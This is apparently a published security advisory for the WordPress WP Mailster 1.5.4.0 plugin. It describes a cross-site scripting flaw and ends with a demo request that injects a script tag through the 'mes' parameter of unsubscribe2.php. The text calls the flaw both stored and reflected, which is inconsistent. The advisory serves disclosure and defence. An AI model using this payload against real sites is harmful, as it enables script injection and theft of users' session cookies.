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WordPress WP Mailster 1.5.4.0 Cross Site Scripting

WordPress WP Mailster 1.5.4.0 Cross Site Scripting
Posted Dec 5, 2017
Authored by Ricardo Sanchez

WordPress WP Mailster plugin version 1.5.4.0 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 37fa64bfee610bf9b21e5b9f49bb10c5b002d32d4802946a042e53f6bb33e301

WordPress WP Mailster 1.5.4.0 Cross Site Scripting

Change Mirror Download
Class Input Validation Error
Remote Yes

Credit Ricardo Sanchez
Vulnerable WP Mailster 1.5.4.0

WP Mailster is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the value mes is not filter correctly:


Demo Request:
http://localhost//wordpress/wp-content/plugins/wp-mailster/view/subscription/unsubscribe2.php?mes=
</script>"><script>alert("XSS")</script>
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